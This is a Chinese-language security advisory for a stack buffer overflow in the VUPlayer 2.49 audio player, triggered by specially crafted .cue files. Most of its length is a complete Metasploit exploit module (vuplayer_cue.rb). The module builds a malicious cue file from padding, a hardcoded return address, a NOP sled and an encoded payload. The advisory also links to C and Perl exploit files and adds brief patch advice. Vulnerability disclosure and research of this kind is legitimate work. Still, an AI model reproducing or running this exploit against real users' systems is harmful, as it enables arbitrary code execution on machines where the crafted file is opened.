发布日期：2009-03-02
更新日期：2009-03-02

受影响系统：

VUPlayer VUPlayer 2.49

描述：

---

BUGTRAQ  ID: 33960

VUPlayer是Windows平台下的一款免费音频播放器，支持多种格式。

VUPlayer 2.49在处理特制的cue文件时存在缓冲区溢出漏洞，成功利用后可使攻击者在受影响应用上下文中执行任意代码。

<*来源：Assed Edin
  *>

测试方法：

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警 告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

http://www.securityfocus.com/data/vulnerabilities/exploits/33960.c
http://www.securityfocus.com/data/vulnerabilities/exploits/33960.pl


##
# $Id: vuplayer_cue.rb 10998 2010-11-11 22:43:22Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
    Rank = GoodRanking

    include Msf::Exploit::FILEFORMAT

    def initialize(info = {})
        super(update_info(info,
            'Name'           => 'VUPlayer CUE Buffer Overflow',
            'Description'    => %q{
                    This module exploits a stack over flow in VUPlayer <= 2.49. When
                the application is used to open a specially crafted cue file, an buffer is overwritten allowing
                for the execution of arbitrary code.
            },
            'License'        => MSF_LICENSE,
            'Author'         => [ 'MC' ],
            'Version'        => '$Revision: 10998 $',
            'References'     =>
                [
                    [ 'OSVDB', '64581'],
                    [ 'BID', '33960' ],
                ],
            'DefaultOptions' =>
                {
                    'EXITFUNC' => 'process',
                    'DisablePayloadHandler' => 'true',
                },
            'Payload'        =>
                {
                    'Space'    => 750,
                    'BadChars' => "\x00",
                    'EncoderType'   => Msf::Encoder::Type::AlphanumUpper,
                    'DisableNops'  =>  'True',
                },
            'Platform' => 'win',
            'Targets'        =>
                [
                    [ 'VUPlayer 2.49', { 'Ret' => 0x1010539f } ],
                ],
            'Privileged'     => false,
            'DisclosureDate' => 'Aug 18 2009',
            'DefaultTarget'  => 0))

        register_options(
            [
                OptString.new('FILENAME',   [ false, 'The file name.',  'msf.cue']),
            ], self.class)

    end

    def exploit

        sploit =  rand_text_alpha_upper(1012)
        sploit << [target.ret].pack('V')
        sploit << "\x90" * 12
        sploit << payload.encoded

        cue =  "FILE ""\""
        cue << sploit
        cue << ".BIN""\"" + " BINARY\r\n"
        cue << "TRACK 01 MODE1/22352\r\n"
        cue << "INDEX 01 00:00:00\r\n"

        print_status("Creating '#{datastore['FILENAME']}' file ...")

        file_create(cue)

    end

end

建议：

---

厂商补丁：

VUPlayer
--------
目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：

http://www.vuplayer.com/vuplayer.php

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